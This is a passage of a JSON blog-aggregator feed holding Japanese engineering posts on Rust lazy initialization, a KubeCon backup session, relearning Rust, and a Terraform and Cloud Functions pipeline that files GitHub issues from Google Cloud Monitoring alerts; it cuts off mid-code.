大きく改善されました。github.comそして2024年になると、LazyCell/LazyLockが標準ライブラリに統合され、さらなる最適化と依存関係の削減が実現され、Rustの遅延初期化機能は新たな段階へと進化を遂げています。blog.rust-lang.orgこのように、Rustの遅延初期化は時代とともに進化し、より使いやすく堅牢な実装へと発展してきました。techblog.paild.co.jp問題の理解:なぜ初期処理が必要か?まず、jpostcode_rsライブラリの実装を見てみましょう:use std::sync::LazyLock;static ADDRESS_MAP: LazyLock>> = LazyLock::new(|| { let data = include_str!(concat!(env!(\\"OUT_DIR\\"), \\"/address_data.json\\")); let raw_map: HashMap = serde_json::from_str(data).expect(\\"Failed to parse raw data\\"); // ...});このコードの重要なポイントは、LazyLockによる遅延初期化を採用することで、JSONデータの初回アクセス時までパースを延期し、必要なタイミングでメモリへの展開を行う設計となっているということです。このコードから分かるように、初回アクセス時のパフォーマンス低下は遅延初期化の仕組みに起因しています。そこで私たちは、この遅延初期化の特性を活用し、ユーザーが実際にアクセスする前に初期化を完了させる戦略を考案しました。解決策:遅延初期化を活用した初期処理従来の初期化パターンfn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { while let Ok(query) = search_rx.recv() { // 初回検索時にデータ初期化が発生 = 遅い! } }); App { /* ... */ }}改善後:標準ライブラリの機能を活用use std::sync::{LazyLock, Mutex};// グローバルな初期化フラグstatic INITIALIZED: LazyLock> = LazyLock::new(|| Mutex::new(false));impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { // バックグラウンドで初期化 { let mut init = INITIALIZED.lock().unwrap(); if !*init { // 軽いクエリで事前初期化をトリガー let _ = lookup_addresses(\\"100\\"); let _ = search_by_address(\\"東京\\"); *init = true; } } // 以降の検索は初期化済みのデータを使用 let mut cache: HashMap> = HashMap::new(); while let Ok(query) = search_rx.recv() { // 通常の検索処理 } }); App { /* ... */ } }}この手法の効果とメリットとデメリットこの手法の中核となる標準ライブラリのLazyLockやMutexなどの基本機能は、追加のライブラリを必要としない堅牢な実装を可能にします。既存のRustプログラマーにとって馴染みのある仕組みを使用しているため、コードの理解や保守が容易であり、依存関係も最小限に抑えることができます。また、これらの機能は既にRustチームによって最適化され、徹底的にテストされているため、高いパフォーマンスと信頼性が保証されています。システムの保守性と運用面では、初期化ロジックの集中管理により、状態管理が大幅に簡素化されます。INITIALIZEDフラグを用いた明示的な制御により、初期化状態の追跡が容易になり、デバッグ性も向上します。さらに、初期化処理をバックグラウンドスレッドで実行することで、メインスレッドのブロッキングを避け、UIの即時表示とレスポンシブな操作感を実現できます。スケーラビリティの観点からは、新機能の追加や初期化順序の制御が柔軟に行えるため、システムの成長に合わせた拡張が容易です。Mutexによる適切な同期制御により、複数スレッドからの安全なアクセスが保証され、並行処理との親和性も高くなっています。また、必要なデータの予測的な先読みとメモリ使用の最適化により、効率的なリソース管理が可能です。初期化処理のモジュール化により、新しい機能の追加時も既存コードへの影響を最小限に抑えられ、キャッシュの効果的な活用によって、大規模なアプリケーションでも高いパフォーマンスを維持できます。一方で、この手法にはいくつかの重要な課題も存在します。まず、メモリ使用量の増加が挙げられます。事前初期化アプローチでは、実際には使用されない可能性のあるデータ構造も含めて、すべてのデータをメモリに展開する必要があります。これは特にメモリリソースが限られている環境において深刻な問題となる可能性があり、システムの全体的なパフォーマンスに影響を与える可能性があります。また、起動時のリソース消費も重要な課題です。バックグラウンドでの初期化処理は、システムの起動時により多くのCPUとメモリリソースを必要とします。特にモバイルデバイスやバッテリー駆動の機器では、この追加のリソース消費が電力効率に悪影響を及ぼす可能性があります。ユーザーの使用パターンによっては、この初期化コストが実際の便益を上回ってしまう場合もあります。さらに、実装の複雑性が増加することも大きな課題です。遅延初期化と事前初期化を組み合わせることで、コードベースの複雑性が著しく増加します。特に初期化の順序や依存関係の管理が複雑になり、開発者がシステムの動作を理解し、デバッグすることが困難になる可能性があります。この複雑性は、新しい機能の追加や既存機能の修正時にも影響を及ぼし、開発効率の低下につながる可能性があります。テストの複雑化も見過ごせない問題です。バックグラウンド初期化を含むコードのテストでは、タイミングや状態管理の観点から、適切なテストケースの作成と実行が困難になります。特に並行処理に関連するバグの再現や検証が複雑になり、品質保証のプロセスに追加の負担がかかる可能性があります。最後に、エラーハンドリングの複雑化も重要な課題です。バックグラウンドでの初期化中に発生したエラーの適切な処理と、それに対するユーザーへの適切なフィードバック提供が技術的な課題となります。エラーが発生した場合の回復処理や、部分的な機能提供の実装も複雑になり、システムの信頼性と保守性に影響を与える可能性があります。このように、標準ライブラリの機能を活用した実装は多くの利点をもたらす一方で、システムの要件や制約に応じて、これらのデメリットを慎重に検討する必要があります。実装時には、これらのトレードオフを考慮しながら、適切な設計判断を行うことが重要となります。実装時の注意点デッドロックの防止{ // スコープによるロックの制限 let mut init = INITIALIZED.lock().unwrap(); if !*init { *init = true; }} // ロックの自動解放初期化の冪等性if !*init { // 複数回実行されても安全な実装に let _ = lookup_addresses(\\"100\\"); *init = true;}まとめ私たちは「初回アクセスが遅いなら、事前に必要な処理を済ませておこう」というシンプルながら実用的なアプローチについて、Rustの標準ライブラリの遅延初期化機構を通じて検討してきました。この手法には、メモリ使用量の増加やコードの複雑化といった課題も存在しますが、適切に実装することで大きな効果が期待できます。標準ライブラリの機能を活用し、依存関係を最小限に抑えながら、スレッドセーフな実装を実現することで、効率的かつ安全な初期化処理が可能となります。このように、遅延初期化と事前初期化を組み合わせたアプローチは、システムの特性や要件に応じて検討すべき重要な最適化パターンの一つと言えるでしょう。参考文献The Rust Standard Library - std::sync::LazyLockThe Rust Standard Library - std::cell::LazyCellRust Performance Book","isoDate":"2024-12-14T03:15:45.000Z","dateMiliSeconds":1734146145000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Deploy で Cloud Run functions に継続的デリバリーする","link":"https://zenn.dev/kimitsu/articles/cloud-deploy-cloud-run-functions","contentSnippet":"Cloud Deploy は継続的デリバリーを行うための Google Cloud のフルマネージドサービスです。標準では Google Kubernetes Engine と Cloud Run (service と job) へのデプロイをサポートしていますが、カスタムターゲットを定義することでそれ以外の対象にもデプロイすることができます。今回はカスタムターゲットを利用して Cloud Run functions へのデプロイを自動化してみます。本記事では Cloud Deploy の基本的な概念(ターゲット、リリース、デプロイパイプラインなど)については説明しません。これら...","isoDate":"2024-12-14T01:17:49.000Z","dateMiliSeconds":1734139069000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"KubeCon NA 2024: Building Resilience: Effective Backup and Disaster Recovery for Vector Databases on Kubernetes のセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/13/building_resilienc_effective_backup_and_disaster_recovery_for_database_on_lubernetes","contentSnippet":"この記事は以下アドベントカレンダー13日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ2Building Resilience: Effective Backup and Disaster Recovery for Vector Databases on Kubernetes セッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7kn/when-life-gives-you-containers-make-an-open-source-rds-a-kubernetes-love-story-sergey-pronin-perconawww.youtube.comKubeCon + CloudNativeCon North America 2024 のセッション \\"Building Resilience: Effective Backup and Disaster Recovery for Vector Databases on Kubernetes\\" は、AI アプリケーションにおけるベクトルデータベースの重要性と、Kubernetes 上での堅牢なデータ保護戦略の必要性を強調した示唆に富む内容でした。マーケティング的な観点や、聴衆の興味を引くためといった理由からかタイトルでベクトルデータベースとなっていますが、バックアップの部分ではあらゆるデータベースやステートフルワークロードに応用ができる内容でした。AI and Kubernetesセッションは、AI がアプリケーションにもたらす変革的な影響についての概説から始まりました。リソース需要予測による動的スケーリング、異常検知によるセキュリティ向上、UX の改善、そして事前の障害予測による可用性向上など、AI はアプリケーションのあらゆる側面を最適化する可能性を秘めています。そして、これらのメリットを実現する上で、Kubernetes が最適なプラットフォームとして位置づけられています。迅速なデプロイ、高可用性とスケーラビリティ、可搬性と柔軟性、分散ワークロード管理の効率化、そして効率的なバックアップとリカバリといった Kubernetes の特徴は、AI ワークロードの運用に不可欠な要素です。特に、データベースを Kubernetes 上で運用する組織が増加しているという Data on Kubernetes のレポートの言及は、AI/ML ワークロードとデータベース運用の密接な関係性を示唆しており、データベースエンジニアとして注目すべき点でした。Kubernetes がステートフルなアプリケーションの運用基盤として成熟しつつあることを改めて認識させられました。Kubernetes上でAIアプリケーションをデプロイする理由セッションでは、Kubernetes上でAIアプリケーションをデプロイする理由として、迅速なデプロイ、高可用性とスケーラビリティ、可搬性と柔軟性、分散ワークロードの管理の効率化、効率的なバックアップとリカバリ、そしてエコシステムとコミュニティの発展が挙げられていました。これらの利点は、クラウドネイティブな開発と運用を目指す上で非常に重要です。特に、マイクロサービスアーキテクチャを採用する際に、Kubernetes はサービスのデプロイと管理を簡素化し、スケーラビリティと可用性を向上させる上で強力なツールとなります。さらに、ベクトルデータベースのようなステートフルなサービスを Kubernetes 上で運用することで、データの永続性と可用性を確保し、AI アプリケーションの信頼性を向上させることができます。Vector Databases and RAGセッションの中核を成すのが、ベクトルデータベースと RAG (Retrieval Augmented Generation) の解説です。非構造化データの増加に伴い、従来のデータベースでは対応が難しくなってきた画像、テキスト、音声といったデータの効率的な処理が求められています。ベクトルデータベースは、これらの非構造化データをベクトル表現に変換し、類似度検索によって関連性の高い情報を高速に取得することを可能にします。Embedding Model を用いたベクトル化によって、意味的な検索が可能になり、AI アプリケーションの精度と効率性が向上する点が強調されていました。特に、生成 AI アプリケーションにおけるハルシネーション軽減とコンテキスト付与におけるベクトルデータベースの役割は重要です。RAG は、ベクトルデータベースを用いて関連情報を取得し、生成 AI の出力に信頼性を与える手法として紹介されており、今後の AI アプリケーション開発において不可欠な要素となるでしょう。ベクトルデータベースのユースケースセッションでは、ベクトルデータベースのユースケースとして、検索エンジン、画像検索、推薦アルゴリズム、異常検知、そしてチャットボットなどの生成 AI アプリケーションが挙げられていました。これらのユースケースは、現代のアプリケーション開発において非常に重要であり、ベクトルデータベースの適用範囲の広さを示しています。特に、マイクロサービスアーキテクチャにおいて、ベクトルデータベースを独立したサービスとして提供することで、様々なサービスから容易にアクセスできるようになり、システム全体の柔軟性と拡張性を向上させることができます。また、DevOps/SRE の実践においては、ベクトルデータベースの監視と運用を自動化することで、システムの信頼性と可用性を向上させることができます。Data Protectionデータ保護は、Kubernetes 上で運用されるベクトルデータベースにとって不可欠な要素です。データの整合性とセキュリティ、災害復旧、コストと時間の効率化、バージョンコントロール、そしてコンプライアンス規制への準拠など、データ保護は多岐にわたるメリットを提供します。セッションでは、Kubernetes 上でのベクトルデータベースのデータ保護方法として、ストレージスナップショット、データサービスを利用したストレージスナップショット、データサービスレベルのスナップショット、そしてこれらの組み合わせが紹介されました。PVC を利用した永続化データの保護は、Kubernetes ネイティブなデータ保護戦略を構築する上で重要なポイントです。Kanister のようなデータ保護ワークフロー管理ツールは、バックアップとリストアの手順を抽象化し、自動化することで、運用効率を大幅に向上させることができます。Kanister の Blueprint、Profile、ActionSet といった CRD を活用することで、柔軟なデータ保護ワークフローを定義し、Kubernetes の宣言的な運用を実現できます。Kanisterの動作Kanister の動作は、ActionSet が Controller に動作を開始するようにトリガーし、Controller が Blueprint を参照して定義されたオペレーションに従ってベクトルデータベースからバックアップを取得し、オブジェクトストレージに保存するという流れで実行されます。動作完了後、Controller は ActionSet に完了を伝え、ActionSet がユーザーに完了を通知します。この自動化されたワークフローは、データベースエンジニアの運用負荷を軽減し、ヒューマンエラーのリスクを最小限に抑える上で非常に有効です。また、バックアップとリストアのプロセスをコード化することで、再現性と信頼性を向上させることができます。Demoデモでは、書籍推薦チャットボット BookNest を例に、PostgreSQL と PGVector を利用したベクトルデータベースのバックアップとリストアのワークフローが紹介されました。提供された図とデモ動画は、Kanister を用いたデータ保護の実践的な方法を理解する上で非常に役立ちました。具体的な構成例を示すことで、視聴者は自身の環境に合わせたデータ保護戦略を検討する際の参考にすることができます。また、デモを通じて Kanister の操作方法やワークフローの定義方法を視覚的に理解することができ、実践的な知識を深めることができます。Kanister の Blueprint は Kubernetes の manifest 内で ShellScript を書くようなイメージでかけるため、すでに Kubernetesを利用している組織であれば利用に大きなハードルは少なそうだと感じました。Operator 化されたデータベースでは大きなメリットはないかもしれないですが、そうでないデータベースのバックアップや、Operator を使っていても複数の種類がある場合オペレーションの使用ツールの共通化という面で十分メリットがあるでしょう。Call to Actionセッションの締めくくりとして、AI アプリケーションとベクトルデータベースの重要性、そしてデータ保護の必要性が改めて強調されました。データ保護を Day 0 Operation と位置づけるというメッセージは、システム設計の初期段階からデータ保護を考慮することの重要性を示唆しています。システムの保守性、スケーラビリティ、セキュリティを確保する上で、データ保護は不可欠な要素であり、アプリケーション開発ライフサイクル全体を通じて考慮する必要があります。まとめこのセッションは、AI アプリケーションにおけるベクトルデータベースの重要性と、Kubernetes 上での堅牢なデータ保護戦略の構築方法について、具体的な例を交えながら分かりやすく解説していました。特に、Kanister のようなデータ保護ツールを活用することで、複雑なバックアップとリカバリのワークフローを簡素化し、自動化できる点が印象的でした。データベースを Kubernetes 上で運用する際には、データ保護を Day 0 Operation として捉え、Kanister のようなツールを活用することで、システムの信頼性と可用性を向上させることができます. セッションで提示された情報は、今後のデータベース運用戦略を検討する上で非常に貴重な示唆を与えてくれました。このセッションで扱われなかった点として、ベクトルデータベースの選択基準やパフォーマンスチューニング、そして異なるベクトルデータベースにおけるデータ保護戦略の差異などが挙げられます。今後のセッションでは、これらの点についても掘り下げて議論されることを期待します。","isoDate":"2024-12-13T08:57:05.000Z","dateMiliSeconds":1734080225000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"サッとかざして即起動! 推しグッズを神曲再生アイテムに(*\xb0∀\xb0)","link":"https://zenn.dev/nedoko_dok0dko/articles/9db9d10902ec03","contentSnippet":"※3-shake Advent Calendar 2024の13日目のエントリー記事です。本日、12月13日は金曜日。世の中では「ジェイソンの日」なんて言われています。とはいえ、生まれてこの方ジェイソンの映画を見ることがなかったためこの手の話についてはかなり縁遠い気がしていします。(JSONの方先に連想しちゃいますし)むしろ「華金だーー\(^o^)/」くらいしか考えていません。それしかありません。そんな社会人です。さて、今年もやってまいりましたアドベントカレンダー。2024年も引き続き参加させていただく運びとなりました。テーマは前回同様「技術・非技術関係なし!自由!」ということ...","isoDate":"2024-12-12T15:00:01.000Z","dateMiliSeconds":1734015601000,"authorName":"seno","authorId":"seno"},{"title":"Japan.R 2024で地域コミュニティのOsaka.Rについて発表した","link":"https://blog.atusy.net/2024/12/12/japanr-logging/","contentSnippet":"前の発表で力尽きてて、何も考えずに楽しくお話しちゃった回。","isoDate":"2024-12-12T00:00:00.000Z","dateMiliSeconds":1733961600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rust 再学習戦記","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/12/013950","contentSnippet":"プログラミング言語の再入門とは、未知の大地への探求というよりも、私たちが知っているはずの領域を新たな視点で見つめ直す営みです。それは初めての出会いのような激しい高揚感とは異なり、むしろ静かな再発見の過程といえるでしょう。この記事は3-shake Advent Calendar 2024 シリーズ2の12日目の記事です。はじめに2017年、私の心にRustという言語が静かに灯りを点しました。その光は、システムプログラミングの深い理解への憧れを呼び覚まし、私を導いていきました。情熱に突き動かされるように、DevOpsツールの創造から始まり、パケット解析の探究へ、そしてWebフレームワークの実装へと、私の歩みは広がっていきました。高速な実行速度と安全性という輝きに心を奪われながらも、未熟なエコシステムという現実が私たちの前に立ちはだかりました。パッケージの追従に心を砕き、破壊的な変更に耐え、そして孤独なメンテナンスの重みを感じながら、私は一時の別れを告げることを選びました。しかし2024年を迎えた今、私の目の前で世界は確かな変化を見せています。Rustの開発者満足度は非常に高い一方で、実務での採用はまだ限定的です。これは、現時点ではRustを業務で使用している開発者が比較的少なく、主に技術的な興味や言語の特徴に惹かれて自発的に選択している人が多いためかもしれません。まぁ何はともあれ、私もその魅力に惹かれた1人のエンジニア。最新のRustを探究すべく、再入門することにしました。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonなぜ今、Rustなのか技術的な成熟Rustのエコシステムは大きく進化し、この数年で安定性が著しく向上しています。パッケージの破壊的変更は目に見えて減少し、Zero To Production In Rustをはじめとした実践的な運用ガイドの登場により、本番環境での運用ノウハウが充実してきました。さらに、日本語での技術記事や登壇資料も増え、日本語でのコミュニケーションも充実してきています。主要パッケージの品質向上と運用実績の蓄積により、開発環境全体の信頼性は大幅に高まっています。また、言語サーバーの進化やツールチェーンの充実により、開発効率も飛躍的に向上しました。実践的な機能面においても、目覚ましい進歩が見られます。エラーハンドリングの改善やWebAssemblyサポートの強化により、クロスプラットフォーム対応も一層充実しました。また、コンパイラの最適化改善による実行時オーバーヘッドの最小化や、所有権システムによるメモリ安全性の保証など、Rustの基本的な強みはさらに磨きがかかっています。特に、非同期プログラミングのエコシステムは大きく成熟し、堅牢な基盤が確立されています。また、2025年には2024 Rdition がリリースされる。SREとしての展望今後は、Rustで構築されたマイクロサービスや高性能なバックエンドサービスのためのインフラ構築や運用の機会が増えていくことが予想されます。特に、コンテナ環境でのデプロイメントやクラウドネイティブな環境でのインフラ構築において、Rustアプリケーションの特性を最大限に活かすための設計が求められるでしょう。例えば、Rustの低メモリ消費という特徴を活かしたコンテナリソースの最適化や、高速な実行速度を考慮したオートスケーリングの設計など、アプリケーションの特性に合わせたインフラストラクチャの構築が重要になってきます。また、モニタリングやログ収集といった運用基盤においても、Rustアプリケーションに適した構成を検討していく必要があるでしょう。SREとしてRustのプロダクションデプロイメントに関わる場合は、Zero To Production In Rustを参照することをお勧めします。この書籍では、Rustアプリケーションの本番環境への展開に関する実践的なガイドラインが提供されています。www.zero2prod.comRustの再入門のための学習コンテンツ再入門にあたり、Rustの最新のプラクティスやエコシステムの変化をキャッチアップするため、いくつかの資料に取り組みました。特に有用だった書籍を紹介していきます。書籍の良さは情報を俯瞰できる点にあると考えています。わからない点があればLLMに質問することができますので⋯。なお、この記事はRustの基礎知識がある方向けの再入門という観点で資料を選定しているため、完全な初学者向けの内容は含んでいません。参照したドキュメントや内容の詳細については、Xで共有しているドキュメントをご確認ください。プログラミングRust 第2版 を読んで可能な限り手を動かす会を実施します。https://t.co/rmUpbPtK9O— nwiizo (@nwiizo) 2024年11月21日 読んだ本についての定義についてはこちらを参考にしてほしいです。読んでいない本について堂々と語る方法 (ちくま学芸文庫)作者:ピエール・バイヤール,大浦康介筑摩書房Amazonまた、yuk1tydさんのドキュメントは2021年時点の情報ですが、現在も十分に有用な内容となっているためおすすめです。blog-dry.com書籍Programming Rust, 2nd EditionO\'Reilly Mediaから出版されている本書は、Rustの基本的な概念から高度な機能まで包括的に解説する定番の教科書です。特に所有権やライフタイム、並行処理といったRustの特徴的な機能について、実践的な例を交えながら詳細に説明されています。本当に再入門してから何度も読んでいる。生成AIに聞くか本を読むか実際に書いていくかの三択である。Programming Rust: Fast, Safe Systems Development作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F SO\'Reilly MediaAmazon2021年の第2版では、Rust 2021 Editionに対応し、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が大幅に加筆されました。特に、パフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から解説している点が特徴です。再三にはなるが2024 Rdition がリリースされる。それに合わせて再び書籍が出されるのが楽しみである。3年毎にリリースがあるのは早すぎず遅すぎずちょうど嬉しい。これまでと違う学び方をしたら挫折せずにRustを学べた話 / Programming Rust techramen24conf LTでも紹介されているように、本書は体系的な学習を可能にする構成と、実践的な例示の豊富さが特徴です。特に、Rustの概念モデルを丁寧に解説している点は、言語仕様の深い理解につながります。再入門時の体系的な知識のアップデートに最適な一冊といえるでしょう。 speakerdeck.comまた、日本語の書籍も出ているので感謝すべきである。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonバックエンドエンジニアを目指す人のためのRust翔泳社から出版されているこの入門書は、実践的なプロジェクトを通じてRustを学ぶアプローチを採用しています。計算クイズからTODOアプリまで、段階的に難易度を上げながら、バックエンドエンジニアに必要な技術要素をカバーしている点が特徴です。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon本書の優れている点は、各プロジェクトを通じて特定のRustの概念を深く掘り下げる構成にあります。例えば、ポーカーゲームの実装を通じてデータ構造の理解を深め、家計簿プログラムでファイルI/Oを学び、画像処理ツールで並列処理を実践的に理解できます。また、Cargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説されています。特筆すべきは、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能を実際のユースケースに即して学べる点です。さらに、Webアプリケーション開発からデプロイメントまでをカバーしており、現代のバックエンド開発の実践的なスキルが身につく構成となっています。ただし、この本はプログラミング言語としてのRustの入門書として優れているものの、プログラミング未経験者にはRust自体の学習難度が高いため、他の言語での開発経験がある方に特にお勧めします。体系的な構成と実践的なプロジェクトを通じた学習アプローチは、技術書の模範となる一冊といえるでしょう。www.estie.jpコミュニティと情報源Rustの再入門において、コミュニティへの参加は技術的な成長と最新動向の把握に重要な役割を果たしています。日本のRustコミュニティは活発な技術交流が行われています。Rust.TokyoRust.Tokyoは日本最大のRustカンファレンスで、年に一度開催される重要なイベントです。私は再入門直後にこのカンファレンスに参加することになり、登壇資料の準備に追われる事態となりましたが、結果的に学習のよい動機付けとなりました。カンファレンスでは、企業での採用事例や実装のベストプラクティス、パフォーマンスチューニングの知見など、実践的な内容が数多く共有されます。また、国内外のRustコミュニティのメンバーとの交流を通じて、最新のトレンドやツール、開発手法について直接学ぶ機会も得られます。Rust-jp ZulipRust-jp Zulipは、日本のRustコミュニティの中心的なコミュニケーション基盤です。SlackやDiscordと異なり、トピックベースの会話構造を持つZulipを採用することで、過去の議論や質問への回答を効率的に検索できる点が特徴です。このプラットフォームでは、初心者向けの基本的な質問から、高度な実装の相談まで、幅広いディスカッションが日本語で行われています。特に、実務での問題解決やコードレビュー、アーキテクチャの相談など、実践的な議論が活発に行われており、再入門者にとって貴重な学習リソースとなっています。学びの記録2017年の実践パケット解析の実装Webフレームワーク検証Rust関連記事一覧2024 年やったことRustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方退屈なことはRust Build Scripts にやらせようRustで郵便番号・住所検索TUIツールを開発した - jpostaRustによる郵便番号検索API (yubin_api) の技術解説tfocusexpjpostcode_rsおわりに2017年の経験は、今となっては貴重な財産です。言語に入門し、一度は挫折を経験しながらもプロダクトへの導入に挑戦したこと、そして結果的に撤退を選択せざるを得なかったことは、私にとって大きな学びとなりました。この貴重な経験と適切な判断へと導いてくれた当時のメンターには感謝しています。パッケージ管理の困難さ、破壊的変更への対応、そして継続的な開発の課題 - これらの経験があったからこそ、現在のRustエコシステムの進化をより深く理解できています。Rustは単なるプログラミング言語の進化を超えて、エコシステム全体として大きく成長しました。特に、かつて私が直面した課題の多くが、コミュニティの成熟とツールチェーンの進化によって解決されつつあります。実践的なユースケースの蓄積は、次世代のシステム開発における新たな可能性を示唆しています。Rust 2024エディションのリリースを控え、言語とエコシステムはさらなる進化を遂げようとしています。SREとしても、このような発展を続けるRustの動向を把握し、実践的な知識を蓄積していくことは、将来への重要な投資になると確信しています。この記事を読んでいる方々も、ぜひこの成長と進化の過程に参加してみませんか?初めての方も、かつて離れた方も、今こそRustと再会するベストなタイミングかもしれません。","isoDate":"2024-12-11T16:39:50.000Z","dateMiliSeconds":1733935190000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"GolangからPagerdutyのインシデントを発砲する","link":"https://zenn.dev/tayusa/articles/9091399d6a9018","contentSnippet":"目的Golangで作成したアプリケーションからPagerdutyの任意のインシデントを発砲する Event API v2https://developer.pagerduty.com/docs/3d063fd4814a6-events-api-v2-overview高信頼性、高可用性の非同期APIでシステムからマシンイベントを取り込みます。このAPIに送られたイベントは最終的にPagerDutyサービスにルーティングされ処理されます Event Types Alert監視システムの問題。 既存のアラートを確認または解決するためにイベントを送信することができる...","isoDate":"2024-12-11T13:30:34.000Z","dateMiliSeconds":1733923834000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Google Cloud monitoringのアラートをGitHub Issueに通知する","link":"https://kechigon.hatenablog.com/entry/2024/12/11/182649","contentSnippet":"タイトルの通り、Google Cloud monitoringのアラートをGitHub Issueに通知するシステムの構築方法を紹介します。terrafromを使って作成します。コードはGitHubリポジトリにまとまっています。github.comこのコードをapplyすることで、Webサービス(EasyBuggy)、監視、アラートをIssueに持っていくパイプラインがデプロイされます。システム図このような構成をとっています。main.tf早速コードを紹介していきます。このファイルでは、EasyBuggyという脆弱なWebサービスをGCEにデプロイします。terraform { required_providers { google = { source = \\"hashicorp/google\\" version = \\"5.39.0\\" } }}provider \\"google\\" { credentials = var.credential_file project = var.project region = var.region}resource \\"google_compute_instance\\" \\"easybuggy\\" { name = \\"easybuggy-instance\\" machine_type = \\"n1-standard-1\\" zone = var.zone boot_disk { initialize_params { image = \\"debian-cloud/debian-11\\" } } network_interface { network = \\"default\\" access_config {} } metadata = { \\"enable-osconfig\\" = \\"true\\" } metadata_startup_script = < /dev/nullsudo apt-get updatesudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-pluginsudo git clone https://github.com/k-tamura/easybuggy.gitcd easybuggysudo docker build . -t easybuggy:local sudo docker run -p 8080:8080 easybuggy:local EOF}resource \\"google_compute_firewall\\" \\"allow-home-ip\\" { name = \\"allow-home-ip\\" network = \\"default\\" allow { protocol = \\"tcp\\" ports = [\\"8080\\"] } source_ranges = [var.my_ip]}output \\"instance_ip\\" { value = google_compute_instance.easybuggy.network_interface[0].access_config[0].nat_ip}monitoring.tfこちらのファイルでは監視、アラートをIssueに持っていくパイプラインをデプロイします。main.tfでデプロイしたインスタンスのCPU使用率が80%を超えるとアラートが発生します。resource \\"google_pubsub_topic\\" \\"alerts_topic\\" { name = \\"alerts-topic\\"}resource \\"google_pubsub_subscription\\" \\"alerts_subscription\\" { name = \\"alerts-subscription\\" topic = google_pubsub_topic.alerts_topic.name}resource \\"google_monitoring_notification_channel\\" \\"pubsub_channel\\" { display_name = \\"Pub/Sub to Cloud Function\\" type = \\"pubsub\\" labels = { \\"topic\\" = google_pubsub_topic.alerts_topic.id }}resource \\"google_pubsub_topic_iam_binding\\" \\"alerts_topic_publisher\\" { topic = google_pubsub_topic.alerts_topic.name role = \\"roles/pubsub.publisher\\" members = [ \\"serviceAccount:service-${var.project_id}@gcp-sa-monitoring-notification.iam.gserviceaccount.com\\" ]}resource \\"google_storage_bucket\\" \\"easybuggy_monitoring_function_bucket\\" { name = \\"easybubby_monitoring-functions-bucket\\" location = \\"ASIA-NORTHEAST1\\" force_destroy = true}resource \\"google_storage_bucket_object\\" \\"function_source_object\\" { name = \\"function-source.zip\\" bucket = google_storage_bucket.easybuggy_monitoring_function_bucket.name source = \\"function-source.zip\\"}resource \\"google_cloudfunctions_function\\" \\"issue_creator_function\\" { name = \\"issue-creator-function\\" description = \\"Receive Pub/Sub message from Google Cloud Monitoring and create a GitHub issue\\" runtime = \\"python39\\" source_archive_bucket = google_storage_bucket.easybuggy_monitoring_function_bucket.name source_archive_object = google_storage_bucket_object.function_source_object.name entry_point = \\"main\\" region = var.region environment_variables = { \\"GITHUB_API_TOKEN\\" = var.github_api_token \\"GITHUB_REPO\\" = var.github_repo \\"GITHUB_OWNER\\" = var.github_owner } event_trigger { event_type = \\"providers/cloud.pubsub/eventTypes/topic.publish\\" resource = google_pubsub_topic.alerts_topic.id }}resource \\"google_monitoring_alert_policy\\" \\"cpu_usage_policy\\" { display_name = \\"High CPU Utilization Alert\\" combiner = \\"OR\\" conditions { display_name = \\"CPU usage over 80%\\" condition_threshold { filter = \\"metric.type=\\\\\\"compute.googleapis.com/instance/cpu/utilization\\\\\\" AND resource.type=\\\\\\"gce_instance\\\\\\"\\" duration = \\"60s\\" comparison = \\"COMPARISON_GT\\" threshold_value = 0.8 } } enabled = true notification_channels = [google_monitoring_notification_channel.pubsub_channel.id]}main.pyfunctionsで実行されるコードです。pub/subから受け取ったデータからアラートのtitleとbodyを抜き出してGithub Issueにポストします。import base64import jsonimport osimport loggingimport requestsfrom flask import Flask, requestapp = Flask(__name__)GITHUB_API_TOKEN = os.environ.get(\'GITHUB_API_TOKEN\')GITHUB_REPO = os.environ.get(\'GITHUB_REPO\')GITHUB_OWNER = os.environ.get(\'GITHUB_OWNER\')logging.basicConfig(level=logging.INFO)logger = logging.getLogger(__name__)def create_github_issue(data): issue_title = f\\"Alert: {data[\'incident\'][\'incident_id\']}\\" issue_body = data[\'incident\'][\'summary\'] logger.info(f\\"Creating issue with title: {issue_title} body: {issue_body}\\") response = requests.post( f\\"https://api.github.com/repos/{GITHUB_OWNER}/{GITHUB_REPO}/issues\\", headers={ \\"Authorization\\": f\\"token {GITHUB_API_TOKEN}\\", \\"Accept\\": \\"application/vnd.github.v3+json\\", }, json={ \\"title\\": issue_title, \\"body\\": issue_body, }, ) if response.status_code == 201: logger.info(\\"Issue created successfully\\") return \\"Issue created successfully\\", 201 else: logger.error(f\\"Failed to create issue: {response.content}\\") return f\\"Failed to create issue: {response.content}\\", response.status_code@app.route(\'/\', methods=[\'POST\'])def main(d, context): #Need to receive arguments envelope = request.get_json() if not envelope: logger.error(\\"No envelope received\\") return \\"Bad Request\\", 400 logger.info(f\\"envelope: {envelope}\\") pubsub_data = envelope.get(\'data\', {}) logger.info(f\\"pub_sub_data\\") if not pubsub_data: 